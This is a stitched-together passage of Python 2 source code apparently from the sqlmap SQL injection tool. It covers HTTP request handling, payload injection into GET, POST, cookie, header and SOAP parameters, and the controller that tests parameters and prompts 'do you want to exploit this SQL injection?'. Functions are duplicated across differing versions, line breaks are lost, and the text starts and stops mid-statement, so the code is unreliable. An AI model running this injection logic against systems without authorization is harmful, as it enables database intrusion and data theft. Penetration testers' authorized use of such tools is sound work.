req.has_header(HTTPHEADER.ACCEPT_ENCODING): requestHeaders += "%s: identity\n" % HTTPHEADER.ACCEPT_ENCODING requestHeaders += "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in req.header_items()) if not req.has_header(HTTPHEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) cookies = conf.cj._cookies_for_request(req) requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if not req.has_header(HTTPHEADER.CONNECTION): requestHeaders += "\n%s: close" % HTTPHEADER.CONNECTION requestMsg += "\n%s" % requestHeaders if post: requestMsg += "\n\n%s" % getUnicode(post) requestMsg += "\n" threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) conn = urllib2.urlopen(req) if not kb.authHeader and req.has_header(HTTPHEADER.AUTHORIZATION): kb.authHeader = req.get_header(HTTPHEADER.AUTHORIZATION) if not kb.proxyAuthHeader and req.has_header(HTTPHEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = req.get_header(HTTPHEADER.PROXY_AUTHORIZATION) # Return response object if response: return conn, None, None # Get HTTP response if hasattr(conn, 'redurl'): page = threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ else Connect.__connReadProxy(conn) skipLogTraffic = kb.redirectChoice == REDIRECTION.NO code = conn.redcode else: page = Connect.__connReadProxy(conn) code = code or conn.code responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) status = getUnicode(conn.msg) if extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) and not refreshing: url = extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL | re.IGNORECASE) debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) if kb.alwaysRefresh is None: msg = "sqlmap got a refresh request " msg += "(redirect like response common to login pages). " msg += "Do you want to apply the refresh " msg += "from now on (or stay on the original page)? [Y/n]" choice = readInput(msg, default="Y") kb.alwaysRefresh = choice not in ("n", "N") if kb.alwaysRefresh: if url.lower().startswith('http://'): kwargs['url'] = url else: kwargs['url'] = conf.url[:conf.url.rfind('/')+1] + url threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs['refreshing'] = True kwargs['get'] = None kwargs['post'] = None try: return Connect.__getPageProxy(**kwargs) except sqlmapSyntaxException: pass # Explicit closing of connection object if not conf.keepAlive: try: if hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception, msg: warnMsg = "problem occured during connection closing ('%s')" % msg logger.warn(warnMsg) except urllib2.HTTPError, e: page = None responseHeaders = None try: page = e.read() responseHeaders = e.info() responseHeaders[URI_HTTP_HEADER] = e.geturl() page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE)) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % e.code logger.warn(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: page = page if isinstance(page, unicode) else getUnicode(page) code = e.code threadData.lastHTTPError = (threadData.lastRequestUID, code) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 status = getUnicode(e.msg) responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\n".join("%s: %s" % (key.capitalize() if isinstance(key, basestring) else key, getUnicode(value)) for (key, value) in responseHeaders.items()) logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, page)) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\n\n%s\n" % (logHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) if e.code == httplib.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise sqlmapConnectionException, errMsg elif e.code == httplib.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code raise sqlmapConnectionException, errMsg else: debugMsg = "page not found (%d)" % code logger.debug(debugMsg) processResponse(page, responseHeaders) elif e.code == httplib.GATEWAY_TIMEOUT: if ignoreTimeout: return None, None, None else: warnMsg = "unable to connect to the target url (%d - %s)" % (e.code, httplib.responses[e.code]) if threadData.retriesCount < conf.retries and not kb.threadException and not conf.realTest: warnMsg += ", sqlmap is going to retry the request" logger.critical(warnMsg) return Connect.__retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: raise sqlmapConnectionException, warnMsg else: debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place in (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST): # payloads in GET and/or POST need to be urlencoded # throughly without safe chars (especially & and =) # addendum: as we support url encoding in tampering # functions therefore we need to use % as a safe char if place != PLACE.URI or (value and payload and '?' in value and value.find('?') < value.find(payload)): payload = urlencode(payload, '%', False, True) if not place in (PLACE.POST, PLACE.CUSTOM_POST) and conf.skipUrlEncode else payload value = agent.replacePayload(value, payload) elif place == PLACE.SOAP: # payloads in SOAP should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") value = agent.replacePayload(value, payload) if place: value = agent.removePayloadDelimiters(value) if place == PLACE.COOKIE and conf.cookieUrlencode: value = urlEncodeCookieValues(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value if PLACE.SOAP in conf.parameters: post = conf.parameters[PLACE.SOAP] if place != PLACE.SOAP or not value else value if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.UA in conf.parameters: ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in [PLACE.GET, PLACE.POST, PLACE.COOKIE]: if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) if conf.evalCode: delimiter = conf.pDel or "&" variables = {} originals = {} for item in filter(None, (get, post)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) evaluateCode("%s='%s'" % (name, value), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): value = unicode(value) if '%s=' % name in (get or ""): get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) elif '%s=' % name in (post or ""): post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) elif post: post += "%s%s=%s" % (delimiter, name, value) else: get += "%s%s=%s" % (delimiter, name, value) get = urlencode(get, limit=True) if post and place not in (PLACE.POST, PLACE.SOAP, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif not conf.skipUrlEncode and place not in (PLACE.SOAP,): post = urlencode(post) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = False warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "%d or more)" % (conf.timeSec * 2) logger.critical(warnMsg) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based queries" singleTimeWarnMessage(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if headers: if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(r"max.+connections", page or "", re.I) is not None kb.permissionFlag = re.search(r"(command|permission|access)\s*(was|is)?\s*denied", page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, headers, code, getRatioValue, pageLength) else: return False
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if not conf.start: return False if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not conf.forms: kb.targetUrls.add((conf.url, conf.method, conf.data, conf.cookie)) if conf.configFile and not kb.targetUrls: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target url, list of targets or google dork" logger.error(errMsg) return False if kb.targetUrls and len(kb.targetUrls) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls) logger.info(infoMsg) hostCount = 0 cookieStr = "" setCookieAsInjectable = True for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls: try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters: for parameter in re.findall(r"([^=]+)=[^&]+&?", conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True testSqlInj &= (conf.hostname, conf.path, None, None) not in kb.testedParams if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms: message = "[#%d] form:\n%s %s" % ( hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: message = "url %d:\n%s %s%s" % ( hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data: message += "\nPOST data: %s" % urlencode( conf.data) if conf.data else "" if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method == HTTPMETHOD.POST: message = "Edit POST data [default: %s]%s: " % ( urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data): message = "do you want to fill blank fields with random values? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): while extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data): item = extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) if item[-1] == '&': conf.data = conf.data.replace( item, "%s%s&" % (item[:-1], randomStr())) else: conf.data = conf.data.replace( item, "%s%s" % (item, randomStr())) conf.data = urldecode(conf.data) elif conf.method == HTTPMETHOD.GET: if conf.url.find("?") > -1: firstPart = conf.url[:conf.url.find("?")] secondPart = conf.url[conf.url.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) conf.url = "%s?%s" % (firstPart, test) elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break elif conf.realTest: logger.info(message) else: message += "\ndo you want to test this url? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break logMsg = "testing url %s" % targetUrl logger.info(logMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue if conf.nullConnection: checkNullConnection() if not conf.dropSetCookie and conf.cj: for _, cookie in enumerate(conf.cj): cookie = getUnicode(cookie) index = cookie.index(" for ") cookieStr += "%s;" % cookie[8:index] if cookieStr: cookieStr = cookieStr[:-1] if PLACE.COOKIE in conf.parameters: message = "you provided an HTTP Cookie header value. " message += "The target url provided its own Cookie within " message += "the HTTP Set-Cookie header. Do you want to " message += "continue using the HTTP Cookie values that " message += "you provided? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): setCookieAsInjectable = False if setCookieAsInjectable: conf.httpHeaders.append(("Cookie", cookieStr)) conf.parameters[PLACE.COOKIE] = cookieStr __paramDict = paramToDict(PLACE.COOKIE, cookieStr) if __paramDict: conf.paramDict[PLACE.COOKIE] = __paramDict # TODO: consider the following line in __setRequestParams() # __testableParameters = True if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not conf.string and not conf.regexp: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (last to first) orderList = (PLACE.URI, PLACE.GET, PLACE.POST) for place in orderList: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.UA and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip &= not (place == PLACE.UA and intersect( USER_AGENT_ALIASES, conf.testParameter)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter)) if skip: continue if not conf.paramDict.has_key(place): continue paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): if not proceed: break testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % ( place, parameter) logger.info(infoMsg) # Avoid dinamicity test if the user provided the # parameter manually elif parameter in conf.testParameter or conf.realTest: pass elif not checkDynParam(place, parameter, value): warnMsg = "%s parameter '%s' is not dynamic" % ( place, parameter) logger.warn(warnMsg) else: logMsg = "%s parameter '%s' is dynamic" % ( place, parameter) logger.info(logMsg) kb.testedParams.add(paramKey) if testSqlInj: check = heuristicCheckSqlInjection( place, parameter) if not check and conf.realTest and\ not simpletonCheckSqlInjection(place, parameter, value): continue logMsg = "testing sql injection on %s " % place logMsg += "parameter '%s'" % parameter logger.info(logMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % ( injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others? [y/N] " test = readInput(msg, default="N") if test[0] in ("n", "N"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % ( place, parameter) warnMsg += "injectable" logger.warn(warnMsg) if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if not conf.realTest: errMsg = "all parameters are not injectable, try to " errMsg += "increase --level/--risk values to perform " errMsg += "more tests." if isinstance(conf.tech, list) and len(conf.tech) > 0: errMsg += " Rerun without providing the --technique switch." if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) errMsg += " Give it a go with the --text-only switch " errMsg += "if the target page has a low percentage of " errMsg += "textual content (~%.2f%% of " % percent errMsg += "page content is text)" raise sqlmapNotVulnerableException, errMsg else: errMsg = "it seems that all parameters are not injectable" raise sqlmapNotVulnerableException, errMsg else: # Flush the flag kb.testMode = False __saveToSessionFile() __showInjections() __selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if kb.testQueryCount == 0 and conf.realTest: condition = False elif conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: raise except sqlmapUserQuitException: raise except sqlmapSilentQuitException: raise except exceptionsTuple, e: e = getUnicode(e) if conf.multipleTargets: e += ", skipping to the next %s" % ("form" if conf.forms else "url") logger.error(e) else: logger.critical(e) return False finally:
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if not conf.start: return False if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not conf.forms: kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie )) if conf.configFile and not kb.targetUrls: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target url, list of targets or google dork" logger.error(errMsg) return False if kb.targetUrls and len(kb.targetUrls) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls) logger.info(infoMsg) hostCount = 0 cookieStr = "" setCookieAsInjectable = True for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls: try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters: for parameter in re.findall(r"([^=]+)=[^&]+&?", conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True testSqlInj &= (conf.hostname, conf.path, None, None) not in kb.testedParams if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms: message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: message = "url %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data: message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else "" if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method == HTTPMETHOD.POST: message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data): message = "do you want to fill blank fields with random values? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): while extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data): item = extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) if item[-1] == '&': conf.data = conf.data.replace(item, "%s%s&" % (item[:-1], randomStr())) else: conf.data = conf.data.replace(item, "%s%s" % (item, randomStr())) conf.data = urldecode(conf.data) elif conf.method == HTTPMETHOD.GET: if conf.url.find("?") > -1: firstPart = conf.url[:conf.url.find("?")] secondPart = conf.url[conf.url.find("?")+1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) conf.url = "%s?%s" % (firstPart, test) elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break elif conf.realTest: logger.info(message) else: message += "\ndo you want to test this url? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break logMsg = "testing url %s" % targetUrl logger.info(logMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue if conf.nullConnection: checkNullConnection() if not conf.dropSetCookie and conf.cj: for _, cookie in enumerate(conf.cj): cookie = getUnicode(cookie) index = cookie.index(" for ") cookieStr += "%s;" % cookie[8:index] if cookieStr: cookieStr = cookieStr[:-1] if PLACE.COOKIE in conf.parameters: message = "you provided an HTTP Cookie header value. " message += "The target url provided its own Cookie within " message += "the HTTP Set-Cookie header. Do you want to " message += "continue using the HTTP Cookie values that " message += "you provided? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): setCookieAsInjectable = False if setCookieAsInjectable: conf.httpHeaders.append(("Cookie", cookieStr)) conf.parameters[PLACE.COOKIE] = cookieStr __paramDict = paramToDict(PLACE.COOKIE, cookieStr) if __paramDict: conf.paramDict[PLACE.COOKIE] = __paramDict # TODO: consider the following line in __setRequestParams() # __testableParameters = True if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not conf.string and not conf.regexp: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (last to first) orderList = (PLACE.URI, PLACE.GET, PLACE.POST) for place in orderList: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.UA and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip &= not (place == PLACE.UA and intersect(USER_AGENT_ALIASES, conf.testParameter)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter)) if skip: continue if not conf.paramDict.has_key(place): continue paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): if not proceed: break testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter) logger.info(infoMsg) # Avoid dinamicity test if the user provided the # parameter manually elif parameter in conf.testParameter or conf.realTest: pass elif not checkDynParam(place, parameter, value): warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter) logger.warn(warnMsg) else: logMsg = "%s parameter '%s' is dynamic" % (place, parameter) logger.info(logMsg) kb.testedParams.add(paramKey) if testSqlInj: check = heuristicCheckSqlInjection(place, parameter) if not check and conf.realTest and\ not simpletonCheckSqlInjection(place, parameter, value): continue logMsg = "testing sql injection on %s " % place logMsg += "parameter '%s'" % parameter logger.info(logMsg) injection = checkSqlInjection(place, parameter, value) proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others? [y/N] " test = readInput(msg, default="N") if test[0] in ("n", "N"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg += "injectable" logger.warn(warnMsg) if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if not conf.realTest: errMsg = "all parameters are not injectable, try to " errMsg += "increase --level/--risk values to perform " errMsg += "more tests." if isinstance(conf.tech, list) and len(conf.tech) > 0: errMsg += " Rerun without providing the --technique switch." if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) errMsg += " Give it a go with the --text-only switch " errMsg += "if the target page has a low percentage of " errMsg += "textual content (~%.2f%% of " % percent errMsg += "page content is text)" raise sqlmapNotVulnerableException, errMsg else: errMsg = "it seems that all parameters are not injectable" raise sqlmapNotVulnerableException, errMsg else: # Flush the flag kb.testMode = False __saveToSessionFile() __showInjections() __selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if kb.testQueryCount == 0 and conf.realTest: condition = False elif conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise sqlmapUserQuitException else: raise except sqlmapUserQuitException: raise except sqlmapSilentQuitException: raise except exceptionsTuple, e: e = getUnicode(e) if conf.multipleTargets: e += ", skipping to the next %s" % ("form" if conf.forms else "url") logger.error(e) else: logger.critical(e) return False finally:
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None page = None pageLength = None uri = None raise404 = place != PLACE.URI if raise404 is None else raise404 if not place: place = kb.injection.place payload = agent.extractPayload(value) threadData = getCurrentThreadData() if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload) value = agent.replacePayload(value, payload) logger.log(9, payload) if place == PLACE.COOKIE and conf.cookieUrlencode: value = agent.removePayloadDelimiters(value) value = urlEncodeCookieValues(value) elif place: if place in (PLACE.GET, PLACE.POST): # payloads in GET and/or POST need to be urlencoded # throughly without safe chars (especially & and =) # addendum: as we support url encoding in tampering # functions therefore we need to use % as a safe char payload = urlencode(payload, "%", False, True) value = agent.replacePayload(value, payload) value = agent.removePayloadDelimiters(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = urlencode(conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value, limit=True) if PLACE.POST in conf.parameters: post = urlencode(conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value) if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[ PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.UA in conf.parameters: ua = conf.parameters[ PLACE.UA] if place != PLACE.UA or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[ PLACE. REFERER] if place != PLACE.REFERER or not value else 